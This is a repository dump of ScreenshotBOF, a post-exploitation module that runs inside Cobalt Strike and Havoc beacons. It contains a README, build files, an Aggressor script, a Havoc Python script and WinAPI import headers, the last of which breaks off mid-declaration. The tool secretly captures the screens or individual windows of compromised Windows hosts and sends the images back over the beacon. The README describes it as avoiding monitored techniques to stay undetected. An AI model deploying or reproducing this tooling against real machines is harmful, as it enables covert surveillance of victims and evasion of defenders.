[
  {
    "path": ".gitignore",
    "content": "/.vs\n/ScreenshotBOF/intermediary"
  },
  {
    "path": "LICENSE",
    "content": "MIT License\n\nCopyright (c) 2025 CodeX\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "Makefile",
    "content": "BOFNAME := ScreenshotBOF\nCOMINCLUDE := -I .common\nLIBINCLUDE := \nCC_x64 := x86_64-w64-mingw32-gcc\nCC_x86 := i686-w64-mingw32-gcc\nCC=x86_64-w64-mingw32-clang\n\nall:\n\t$(CC_x64) -o $(BOFNAME).x64.obj $(COMINCLUDE) -Os -c entry.cpp -DBOF \n\t$(CC_x86) -o $(BOFNAME).x86.obj $(COMINCLUDE) -Os -c entry.cpp -DBOF\n\tmkdir -p $(BOFNAME) \n\tmv $(BOFNAME)*.obj $(BOFNAME)\n\ntest:\n\t$(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE)  -o $(BOFNAME).x64.exe\n\t$(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe\n\nscanbuild:\n\t$(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE)\n\ncheck:\n\tcppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c\n\nclean:\n\trm $(BOFNAME).*.exe"
  },
  {
    "path": "README.md",
    "content": "# ScreenshotBOF\n\nAn alternative screenshot capability for Cobalt Strike that uses WinAPI and does not perform a fork & run. Screenshot downloaded in memory.\n\n# Features\n- JPEG compression\n- In memory download as screenshot or as file\n- Supports capturing of minimized windows\n- Grayscale, JPEG quality and Downscaling to reduce file size\n\n## Self Compilation\n1. git clone the repo\n2. run `make`\n\n## Save methods:  \n0. drop file to disk\n1. download file over beacon (Cobalt Strike only)\n2. download file over beacon as a screenshot (Cobalt Strike only)\n\n## PID\n0: capture full screen (PID = 0)\nspecific PID: capture specific PID (works even when minimized!)\n\n## Usage\n1. import the screenshotBOF.cna script into Cobalt Strike\n2. use the command screenshot_bof {local filename} {save method 0/1/2} {pid/0} {grayscale 0/1} {quality 0-100} {scale 0-100}\n   - running `screenshot_bof` with no arguments will pop a GUI dialog\n  \n```\nbeacon> screenshot_bof file.jpg 2 21964 0 90 100\n[*] Running screenshot BOF by (@codex_tf2)\n[+] host called home, sent: 12421 bytes\n[+] received output:\nDownloading JPEG over beacon as a screenshot with filename file.jpg\n[*] received screenshot of Screenshot from Admin (26kb)\n[+] received output:\nScreenshot saved/downloaded successfully\n```\n\n\n## Notes\n- no evasion is performed, which should be fine since the WinAPIs used are not malicious\n\n## Why did I make this?\nCobalt Strike uses a technique known as fork & run for many of its post-ex capabilities, including the screenshot command. While this behaviour provides stability, it is now well known and heavily monitored for. This BOF is meant to provide a more OPSEC safe version of the screenshot capability.\n\n## Credits\n- Save BMP to file from https://stackoverflow.com/a/60667564\n- in memory download from https://github.com/anthemtotheego/CredBandit\n- @BinaryFaultline for (deprecated) BMP rendering in aggressorscript, and screenshot callback function\n- bitmap to jpeg from https://github.com/WKL-Sec/HiddenDesktop\n\n## Disclaimer\nusual disclaimer here, I am not responsible for any crimes against humanity you may commit or nuclear war you may cause using this piece of poorly written code.\n"
  },
  {
    "path": "ScreenshotBOF/screenshotBOF.cna",
    "content": "# Register command\nbeacon_command_register(\n    \"screenshot_bof\",\n    \"Alternative screenshot capability that does not do fork n run\",\n    \"Use: screenshot_bof [filename] [save method] [PID] [grayscale(0/1)=0] [quality 0-100=90] [scale%=100]\\n- PID 0 captures full screen\\n- Save methods: 0 drop to disk, 1 download file, 2 download screenshot\\n- Grayscale/quality/scale optional; defaults applied when omitted\\n- Scale is percent of original (e.g., 50 = half size)\\n\\nTake a screenshot inline using a BOF. Screenshot is saved as JPEG on disk or downloaded over beacon.\"\n);\n\nsub execute_screenshot {\n    local('$bid $filename $method $pid $grayscale $quality $scale $handle $data $args $barch');\n    ($bid, $filename, $method, $pid, $grayscale, $quality, $scale) = @_;\n\n    if ($bid is $null) {\n        show_message(\"Error: No Beacon ID found. Please run this command from a Beacon console.\");\n        return;\n    }\n\n    $barch = barch($bid);\n\n    # read in the right BOF file\n    $handle = openf(script_resource(\"ScreenshotBOF. $+ $barch $+ .obj\"));\n    if (isnull($handle)) {\n        berror($bid, \"Error: Could not find ScreenshotBOF. $+ $barch $+ .obj in script resource path.\");\n        return;\n    }\n    $data = readb($handle, -1);\n    closef($handle);\n\n    $args = bof_pack($bid, \"ziiiii\", $filename, int($method), int($pid), int($grayscale), int($quality), int($scale));\n\n    btask($bid, \"Running screenshot BOF by (@codex_tf2)\", \"T1113\");\n    beacon_inline_execute($bid, $data, \"go\", $args);\n}\n\nalias screenshot_bof {\n    local('$bid');\n    $bid = $1;\n\n    # CASE 1: Arguments provided (CLI Mode)\n    if (size(@_) > 1) {\n        if (size(@_) < 4 || size(@_) > 7) {\n            berror($bid, \"Syntax: screenshot_bof [filename] [save method 0/1/2] [PID] [grayscale(0/1)=0] [quality 0-100=90] [scale%=100]\");\n            return;\n        }\n        local('$filename $method $pid $grayscale $quality $scale');\n        $filename   = $2;\n        $method     = $3;\n        $pid        = $4;\n        $grayscale  = iff(size(@_) >= 5, $5, 0);\n        $quality    = iff(size(@_) >= 6, $6, 90);\n        $scale      = iff(size(@_) >= 7, $7, 100);\n\n        execute_screenshot($bid, $filename, $method, $pid, $grayscale, $quality, $scale);\n    }\n    # CASE 2: No arguments provided (GUI Mode)\n    else {\n        if ($bid is $null) {\n            show_message(\"Error: You must run this command from inside a Beacon's console.\");\n            return;\n        }\n\n        local('$dialog %defaults');\n        \n        # Define the human-readable options\n        # I added the numbers in parens so you know what they map to if you switch back to CLI\n        local('@options');\n        @options = @(\"Write to disk (0)\", \"Download as file (1)\", \"Download as screenshot (2)\");\n\n        %defaults[\"filename\"]  = \"image.jpeg\";\n        %defaults[\"method\"]    = \"Download as screenshot (2)\"; # Set default text\n        %defaults[\"pid\"]       = \"0\";\n        %defaults[\"grayscale\"] = \"false\"; \n        %defaults[\"quality\"]   = \"90\";\n        %defaults[\"scale\"]     = \"100\";\n        %defaults[\"_bid\"]      = $bid;\n\n        $dialog = dialog(\"Screenshot BOF Config\", %defaults, lambda({\n            local('$filename $method_str $method_int $pid $grayscale $quality $scale $target_bid');\n            \n            $target_bid = $3[\"_bid\"];\n            $filename   = $3[\"filename\"];\n            $method_str = $3[\"method\"];\n            $pid        = $3[\"pid\"];\n            $quality    = $3[\"quality\"];\n            $scale      = $3[\"scale\"];\n            $grayscale  = iff($3[\"grayscale\"] eq \"true\", 1, 0);\n\n            # Map the text selection back to the integer the BOF needs\n            if ($method_str eq \"Write to disk (0)\") {\n                $method_int = 0;\n            }\n            else if ($method_str eq \"Download as file (1)\") {\n                $method_int = 1;\n            }\n            else {\n                $method_int = 2; # Default to screenshot view\n            }\n\n            execute_screenshot($target_bid, $filename, $method_int, $pid, $grayscale, $quality, $scale);\n        }));\n\n        dialog_description($dialog, \"Configure the screenshot parameters. Leave PID as 0 for full screen.\");\n        \n        drow_text($dialog, \"filename\", \"Filename:\");\n        drow_combobox($dialog, \"method\", \"Save Method:\", @options);\n        drow_text($dialog, \"pid\", \"PID (0=Full Screen):\");\n        drow_checkbox($dialog, \"grayscale\", \"Grayscale\");\n        drow_text($dialog, \"quality\", \"Quality (0-100):\");\n        drow_text($dialog, \"scale\", \"Scale %:\");\n        \n        dbutton_action($dialog, \"Execute\");\n        dialog_show($dialog);\n    }\n}"
  },
  {
    "path": "ScreenshotBOF/screenshotBOF.py",
    "content": "from havoc import Demon, RegisterCommand\n\ndef screenshot_bof(\n    demonID,\n    * param: tuple\n):\n    TaskID : str    = None\n    demon  : Demon  = None\n    packer : Packer = Packer()\n\n    demon     = Demon( demonID )\n    BOF_ENTRY = \"go\"\n    BOF_NAME  = f\"ScreenshotBOF.{demon.ProcessArch}.obj\"\n\n    TaskID = demon.ConsoleWrite( demon.CONSOLE_TASK, f\"Tasked demon to take screenshot (via ScreenshotBOF)\" )\n    if len( param  ) < 3:\n        demon.ConsoleWrite( demon.CONSOLE_ERROR, \"Invalid arguments provided\" )\n        return False\n\n    filename, save_method, pid = param\n    match save_method:\n        case \"0\" | \"1\":\n            pass\n        case \"2\":\n            demon.ConsoleWrite(demon.CONSOLE_ERROR, \"save method (2) not supported\")\n            return False\n        case _:\n            demon.ConsoleWrite(demon.CONSOLE_ERROR, \"Invalid save_method provided\")\n            return False\n\n    packer.addstr( filename )\n    packer.addint( int( save_method ) )\n    packer.addint( int( pid ) )\n\n    BOF_PARAMS = packer.getbuffer()\n    demon.InlineExecute(\n        TaskID,\n        BOF_ENTRY,\n        BOF_NAME,\n        BOF_PARAMS,\n        False\n    )\n\n    return TaskID\n\nRegisterCommand(\n    screenshot_bof,\n    \"\",\n    \"screenshotBOF\",\n    \"Take a screenshot of the screen and/or other processes\",\n    0,\n    \"<filename> <save_method> <PID>\\n\"\n    \"\\n\"\n    \"Arguments:\\n\"\n    \"  filename     Name of the file to save the screenshot as\\n\"\n    \"  save_method  0 - Drop file to disk\\n\"\n    \"               1 - Download over beacon as a file\\n\"\n    \"               2 - Download over beacon as a screenshot\\n\"\n    \"  PID          Set to 0 for full screen capture, or provide a process ID\\n\",\n    \"screen.jpg 1 0\"\n);\n"
  },
  {
    "path": "beacon.h",
    "content": "#pragma once\n\n/*\n * Beacon Object Files (BOF)\n * -------------------------\n * A Beacon Object File is a light-weight post exploitation tool that runs\n * with Beacon's inline-execute command.\n *\n * Cobalt Strike 4.1.\n */\n\n/* data API */\ntypedef struct {\n\tchar * original; /* the original buffer [so we can free it] */\n\tchar * buffer;   /* current pointer into our buffer */\n\tint    length;   /* remaining length of data */\n\tint    size;     /* total size of this buffer */\n} datap;\n\nDECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);\nDECLSPEC_IMPORT int     BeaconDataInt(datap * parser);\nDECLSPEC_IMPORT short   BeaconDataShort(datap * parser);\nDECLSPEC_IMPORT int     BeaconDataLength(datap * parser);\nDECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);\n\n/* format API */\ntypedef struct {\n\tchar * original; /* the original buffer [so we can free it] */\n\tchar * buffer;   /* current pointer into our buffer */\n\tint    length;   /* remaining length of data */\n\tint    size;     /* total size of this buffer */\n} formatp;\n\nDECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);\nDECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);\nDECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);\nDECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);\nDECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);\nDECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);\nDECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);\n\n/* Output Functions */\n#define CALLBACK_OUTPUT      0x0\n#define CALLBACK_OUTPUT_OEM  0x1e\n#define CALLBACK_ERROR       0x0d\n#define CALLBACK_OUTPUT_UTF8 0x20\n#define CALLBACK_FILE\t\t 0x02\n#define CALLBACK_FILE_WRITE  0x08\n#define CALLBACK_FILE_CLOSE  0x09\n#define CALLBACK_SCREENSHOT  0x03\n\nDECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);\nDECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);\n\n/* Token Functions */\nDECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);\nDECLSPEC_IMPORT void   BeaconRevertToken();\nDECLSPEC_IMPORT BOOL   BeaconIsAdmin();\n\n/* Spawn+Inject Functions */\nDECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);\nDECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);\nDECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);\nDECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);\n\n/* Utility Functions */\nDECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);\n"
  },
  {
    "path": "bofdefs.h",
    "content": "#pragma once\n/* some code and/or ideas are from trustedsec SA Github repo -- thankyou trustedsec! */\n#include <windows.h>\n#include <gdiplus.h>\n\n#ifdef BOF\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include \"beacon.h\"\n\nvoid go(char* buff, int len);\n\n\n/* 7/2/2025 update*/\n\nDECLSPEC_IMPORT int WINAPI MSVCRT$fclose(FILE* stream);\n#define fclose    MSVCRT$fclose\n\nDECLSPEC_IMPORT FILE* WINAPI MSVCRT$fopen(const char* filename, const char* mode);\n#define fopen     MSVCRT$fopen\n\nDECLSPEC_IMPORT size_t WINAPI MSVCRT$fwrite(const void* ptr, size_t size, size_t count, FILE* stream);\n#define fwrite    MSVCRT$fwrite\n\nDECLSPEC_IMPORT BOOL WINAPI User32$ShowWindow(HWND hWnd, int nCmdShow);\n#define ShowWindow User32$ShowWindow\n\nDECLSPEC_IMPORT BOOL WINAPI User32$PrintWindow(HWND hWnd, HDC hdcBlt, UINT nFlags);\n#define PrintWindow User32$PrintWindow\n\nDECLSPEC_IMPORT BOOL WINAPI User32$SetLayeredWindowAttributes(HWND hwnd, COLORREF crKey, BYTE bAlpha, DWORD dwFlags);\n#define SetLayeredWindowAttributes User32$SetLayeredWindowAttributes\n\nDECLSPEC_IMPORT BOOL WINAPI User32$SetWindowPos(HWND hWnd, HWND hWndInsertAfter, int X, int Y, int cx, int cy, UINT uFlags);\n#define SetWindowPos User32$SetWindowPos\n\nDECLSPEC_IMPORT BOOL WINAPI User32$GetWindowPlacement(HWND hWnd, WINDOWPLACEMENT* lpwndpl);\n#define GetWindowPlacement User32$GetWindowPlacement\n\nDECLSPEC_IMPORT BOOL WINAPI User32$IsWindowVisible(HWND hWnd);\n#define IsWindowVisible User32$IsWindowVisible\n\nDECLSPEC_IMPORT BOOL WINAPI User32$UpdateWindow(HWND hWnd);\n#define UpdateWindow User32$UpdateWindow\n\nDECLSPEC_IMPORT BOOL WINAPI User32$GetWindowRect(HWND hWnd, LPRECT lpRect);\n#define GetWindowRect User32$GetWindowRect\n\nDECLSPEC_IMPORT LONG WINAPI User32$GetWindowLongA(HWND hWnd, int nIndex);\n#define GetWindowLongA User32$GetWindowLongA\n\nDECLSPEC_IMPORT LONG WINAPI User32$SetWindowLongA(HWND hWnd, int nIndex, LONG dwNewLong);\n#define SetWindowLongA User32$SetWindowLongA\n\nDECLSPEC_IMPORT BOOL WINAPI User32$EnumWindows(WNDENUMPROC lpEnumFunc, LPARAM lParam);\n\nDECLSPEC_IMPORT DWORD WINAPI User32$GetWindowThreadProcessId(HWND hWnd, LPDWORD lpdwProcessId);\n#define GetWindowThreadProcessId User32$GetWindowThreadProcessId\n\n\n/* resolve some extra funcs for the screenshot */\n\n\n    DECLSPEC_IMPORT DWORD WINAPI User32$MessageBoxA(HWND, LPCTSTR, LPCTSTR, UINT);\n#define MessageBoxCustom User32$MessageBoxA\n\n    DECLSPEC_IMPORT int WINAPI User32$GetSystemMetrics(int nIndex);\n#define GetSystemMetrics User32$GetSystemMetrics\n\n    DECLSPEC_IMPORT BOOL WINAPI User32$SetProcessDPIAware();\n#define SetProcessDPIAware User32$SetProcessDPIAware\n\n    DECLSPEC_IMPORT HDC WINAPI User32$GetDC(HWND hWnd);\n#define GetDC User32$GetDC\n\n    DECLSPEC_IMPORT HDC WINAPI GDI32$CreateCompatibleDC(HDC hdc);\n#define CreateCompatibleDC GDI32$CreateCompatibleDC\n\n    DECLSPEC_IMPORT HBITMAP WINAPI GDI32$CreateCompatibleBitmap(HDC hdc, int cx, int cy);\n#define CreateCompatibleBitmap GDI32$CreateCompatibleBitmap\n\n    DECLSPEC_IMPORT HGDIOBJ WINAPI GDI32$SelectObject(HDC hdc, HGDIOBJ h);\n#define SelectObject GDI32$SelectObject\n\n    DECLSPEC_IMPORT BOOL WINAPI GDI32$BitBlt(HDC   hdc,\n        int   x,\n        int   y,\n        int   cx,\n        int   cy,\n        HDC   hdcSrc,\n        int   x1,\n        int   y1,\n        DWORD rop);\n#define BitBlt GDI32$BitBlt\n\n    DECLSPEC_IMPORT BOOL WINAPI User32$OpenClipboard(HWND hWndNewOwner);\n#define OpenClipboard User32$OpenClipboard\n\n    DECLSPEC_IMPORT BOOL WINAPI User32$EmptyClipboard();\n#define EmptyClipboard User32$EmptyClipboard\n\n    DECLSPEC_IMPORT BOOL WINAPI User32$SetClipboardData(UINT uFormat, HANDLE hMem);\n#define SetClipboardData User32$SetClipboardData\n\n    DECLSPEC_IMPORT BOOL WINAPI User32$CloseClipboard();\n#define CloseClipboard User32$CloseClipboard\n\n    DECLSPEC_IMPORT BOOL WINAPI GDI32$DeleteDC(HDC hdc);\n#define DeleteDC GDI32$DeleteDC\n\n    DECLSPEC_IMPORT int WINAPI User32$ReleaseDC(HWND hWnd, HDC  hDC);\n#define ReleaseDC User32$ReleaseDC\n\n    DECLSPEC_IMPORT HGDIOBJ WINAPI GDI32$DeleteObject(HGDIOBJ ho);\n#define DeleteObject GDI32$DeleteObject\n\n\n\n    /* End of function resolutions for screenshot */\n\n    /* Resolve some functions for writing BMP to disk*/\n\n    DECLSPEC_IMPORT HDC WINAPI GDI32$CreateDCA(LPCSTR         pwszDriver,\n        LPCSTR         pwszDevice,\n        LPCSTR         pszPort,\n        const DEVMODEA* pdm);\n#define CreateDCA GDI32$CreateDCA\n\n    DECLSPEC_IMPORT int WINAPI GDI32$GetDeviceCaps(HDC hdc,\n        int index);\n#define GetDeviceCaps GDI32$GetDeviceCaps\n\n    DECLSPEC_IMPORT int WINAPI GDI32$GetObjectA(HANDLE h,\n        int    c,\n        LPVOID pv);\n#define GetObjectA GDI32$GetObjectA\n    DECLSPEC_IMPORT HGLOBAL WINAPI KERNEL32$GlobalAlloc(\n        UINT   uFlags,\n        SIZE_T dwBytes);\n#define GlobalAlloc KERNEL32$GlobalAlloc\n\n    DECLSPEC_IMPORT WINBASEAPI LPVOID WINAPI KERNEL32$GlobalLock(HGLOBAL);\n#define GlobalLock KERNEL32$GlobalLock\n\n    DECLSPEC_IMPORT WINGDIAPI HGDIOBJ WINAPI GDI32$GetStockObject(int);\n#define GetStockObject GDI32$GetStockObject\n\n    DECLSPEC_IMPORT WINGDIAPI HPALETTE WINAPI GDI32$SelectPalette(HDC, HPALETTE, BOOL);\n#define SelectPalette GDI32$SelectPalette\n\n    DECLSPEC_IMPORT WINGDIAPI UINT WINAPI GDI32$RealizePalette(HDC);\n#define RealizePalette GDI32$RealizePalette\n\n    DECLSPEC_IMPORT WINGDIAPI int WINAPI GDI32$GetDIBits(HDC          hdc,\n        HBITMAP      hbm,\n        UINT         start,\n        UINT         cLines,\n        LPVOID       lpvBits,\n        LPBITMAPINFO lpbmi,\n        UINT         usage);\n#define GetDIBits GDI32$GetDIBits\n\n    DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$GlobalUnlock(HGLOBAL);\n#define GlobalUnlock KERNEL32$GlobalUnlock\n\n    DECLSPEC_IMPORT WINBASEAPI HGLOBAL WINAPI KERNEL32$GlobalFree(HGLOBAL);\n#define GlobalFree KERNEL32$GlobalFree\n\n    DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE);\n#define CloseHandle KERNEL32$CloseHandle\n\n\n\n\n    /* End of function resolutions for writing BMP to disk */\n\n\n/* COM */\nDECLSPEC_IMPORT HRESULT  WINAPI   OLE32$CLSIDFromString(LPCWSTR, LPCLSID);\nDECLSPEC_IMPORT HRESULT  WINAPI   OLE32$CoCreateInstance(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID* ppv);\nDECLSPEC_IMPORT HRESULT  WINAPI   OLE32$CoInitializeEx(LPVOID, DWORD);\nDECLSPEC_IMPORT VOID     WINAPI   OLE32$CoUninitialize();\nDECLSPEC_IMPORT HRESULT  WINAPI   OLE32$IIDFromString(LPWSTR lpsz, LPIID lpiid);\nDECLSPEC_IMPORT HRESULT\t WINAPI\t  OLE32$CoInitialize(LPVOID pvReserved);\nDECLSPEC_IMPORT HRESULT\t WINAPI   OLE32$CoCreateInstanceEx(REFCLSID, IUnknown*, DWORD, COSERVERINFO*, DWORD, MULTI_QI*);\nDECLSPEC_IMPORT BSTR\t WINAPI\t  OleAut32$SysAllocString(const OLECHAR*);\nDECLSPEC_IMPORT LPVOID\t WINAPI\t  OLEAUT32$VariantInit(VARIANTARG* pvarg);\nDECLSPEC_IMPORT HRESULT\t WINAPI\t  OLE32$CoInitializeSecurity(PSECURITY_DESCRIPTOR pSecDesc, LONG cAuthSvc, SOLE_AUTHENTICATION_SERVICE* asAuthSvc, void* pReserved1, DWORD dwAuthnLevel,  DWORD dwImpLevel, void* pAuthList, DWORD dwCapabilities, void* pReserved3);\n\n/* Registry */\nDECLSPEC_IMPORT LSTATUS APIENTRY ADVAPI32$RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult);\nDECLSPEC_IMPORT LSTATUS APIENTRY ADVAPI32$RegDeleteTreeA(HKEY hKey, LPCSTR lpSubKey);\nDECLSPEC_IMPORT LSTATUS APIENTRY ADVAPI32$RegCreateKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD Reserved, LPSTR lpClass, DWORD dwOptions, REGSAM samDesired,\n\tCONST LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult, LPDWORD lpdwDisposition);\nDECLSPEC_IMPORT LSTATUS APIENTRY ADVAPI32$RegSetValueExA(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType,\n\tCONST BYTE* lpData, DWORD cbData);\n\n\n/* FileSystem */\nDECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);\nDECLSPEC_IMPORT DWORD WINAPI KERNEL32$SetFilePointer(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod);\nDECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetFilePointerEx(HANDLE hFile, LARGE_INTEGER liDistanceToMove, PLARGE_INTEGER lpDistanceToMoveHigh, DWORD dwMoveMethod);\nDECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped);\nDECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetFileSizeEx(HANDLE hFile, PLARGE_INTEGER lpFileSize);\nDECLSPEC_IMPORT DWORD WINAPI VERSION$GetFileVersionInfoSizeW(LPCWSTR lptstrFilenamea, LPDWORD lpdwHandle);\nDECLSPEC_IMPORT BOOL WINAPI VERSION$GetFileVersionInfoW(LPCWSTR lptstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData);\nDECLSPEC_IMPORT BOOL WINAPI VERSION$VerQueryValueW(LPCVOID pBlock, LPCWSTR lpSubBlock, LPVOID* lplpBuffer, PUINT puLen);\n\n\n/* Memory */\nDECLSPEC_IMPORT LPVOID\tWINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);\nDECLSPEC_IMPORT BOOL\tWINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);\nDECLSPEC_IMPORT LPVOID\tWINAPI KERNEL32$HeapReAlloc(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes);\nDECLSPEC_IMPORT void* __cdecl  MSVCRT$memcpy(LPVOID, LPVOID, size_t);\nDECLSPEC_IMPORT void* __cdecl  MSVCRT$malloc(size_t);\nDECLSPEC_IMPORT void __cdecl   MSVCRT$memset(void*, int, size_t);\n\n\n/* Process */\nDECLSPEC_IMPORT HANDLE\tWINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);\nDECLSPEC_IMPORT BOOL\tWINAPI ADVAPI32$CreateProcessWithLogonW(LPCWSTR lpUsername, LPCWSTR lpDomain, LPCWSTR lpPassword, DWORD dwLogonFlags, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);\nDECLSPEC_IMPORT HANDLE\tWINAPI KERNEL32$GetProcessHeap();\nDECLSPEC_IMPORT SIZE_T WINAPI  KERNEL32$VirtualQueryEx(HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);\nDECLSPEC_IMPORT DWORD WINAPI   KERNEL32$GetProcessId(HANDLE Process);\nDECLSPEC_IMPORT BOOL WINAPI    KERNEL32$ReadProcessMemory(HANDLE  hProcess, LPCVOID lpBaseAddress, LPVOID  lpBuffer, SIZE_T  nSize, SIZE_T* lpNumberOfBytesRead);\nDECLSPEC_IMPORT VOID WINAPI    KERNEL32$Sleep(DWORD dwMilliseconds);\nDECLSPEC_IMPORT HANDLE WINAPI  KERNEL32$GetCurrentProcess(VOID);\nDECLSPEC_IMPORT BOOL WINAPI\t   ADVAPI32$LookupPrivilegeValueW(LPCWSTR lpSystemName, LPCWSTR lpName, PLUID lpLuid);\nDECLSPEC_IMPORT DWORD WINAPI   PSAPI$GetModuleFileNameExW(HANDLE hProcess, HMODULE hModule, LPWSTR lpFilename, DWORD nSize);\n\n\n/* GetLast Error */\nDECLSPEC_IMPORT DWORD\tWINAPI KERNEL32$GetLastError(VOID);\n\n\n/* Directories */\nDECLSPEC_IMPORT BOOL WINAPI KERNEL32$RemoveDirectoryA(LPCSTR);\nDECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateDirectoryA(LPCSTR lpPathName, LPSECURITY_ATTRIBUTES lpSecurityAttributes);\nDECLSPEC_IMPORT BOOL WINAPI KERNEL32$MoveFileA(LPCSTR lpExistingFileName, LPCSTR lpNewFileName);\nDECLSPEC_IMPORT BOOL WINAPI SHLWAPI$PathIsDirectoryA(LPCSTR);\nDECLSPEC_IMPORT BOOL WINAPI SHLWAPI$PathFileExistsA(LPCSTR pszPath);\n\n\n/* strings */\nDECLSPEC_IMPORT PSTR WINAPI SHLWAPI$StrChrA(PCSTR pszStart, WORD wMatch);\nDECLSPEC_IMPORT LPSTR\t__cdecl\tMSVCRT$strchr(LPSTR, int);\nDECLSPEC_IMPORT errno_t __cdecl MSVCRT$strcat_s(LPSTR, size_t, LPCSTR);\nDECLSPEC_IMPORT errno_t __cdecl MSVCRT$strcpy_s(LPSTR, size_t, LPCSTR);\nDECLSPEC_IMPORT errno_t __cdecl MSVCRT$strncpy_s(LPSTR, size_t, LPCSTR, size_t);\nDECLSPEC_IMPORT int\t\t__cdecl\tMSVCRT$_snprintf(LPSTR, size_t, LPCSTR, ...);\nDECLSPEC_IMPORT void WINAPI\t\tMSVCRT$sprintf(char*, char[], ...);\nDECLSPEC_IMPORT int\t\t__cdecl MSVCRT$_vsnprintf(LPSTR, size_t, LPCSTR, va_list);\nDECLSPEC_IMPORT\tsize_t\t__cdecl MSVCRT$wcslen(LPCWSTR);\nDECLSPEC_IMPORT int __cdecl\t\tMSVCRT$strcmp(const char* _Str1, const char* _Str2);\nDECLSPEC_IMPORT size_t __cdecl\t\tMSVCRT$strlen(const char* str);\nDECLSPEC_IMPORT LPSTR WINAPI\tKernel32$lstrcpyA(LPSTR lpString1, LPCSTR lpString2);\nDECLSPEC_IMPORT LPSTR WINAPI\tKernel32$lstrcatA(LPSTR lpString1, LPCSTR lpString2);\nDECLSPEC_IMPORT LPSTR WINAPI\tKernel32$lstrcpynA(LPSTR lpString1, LPCSTR lpString2, int iMaxLength);\nDECLSPEC_IMPORT int WINAPI\t\tKERNEL32$lstrlenW(LPCWSTR lpString);\nDECLSPEC_IMPORT LPWSTR WINAPI\tKERNEL32$lstrcpyW(LPWSTR lpString1, LPCWSTR lpString2);\n\n\n/* RPC */\nDECLSPEC_IMPORT RPC_STATUS RPC_ENTRY Rpcrt4$RpcStringFreeA(RPC_CSTR* String);\nDECLSPEC_IMPORT RPC_STATUS RPC_ENTRY Rpcrt4$UuidCreate(UUID* Uuid);\nDECLSPEC_IMPORT RPC_STATUS RPC_ENTRY 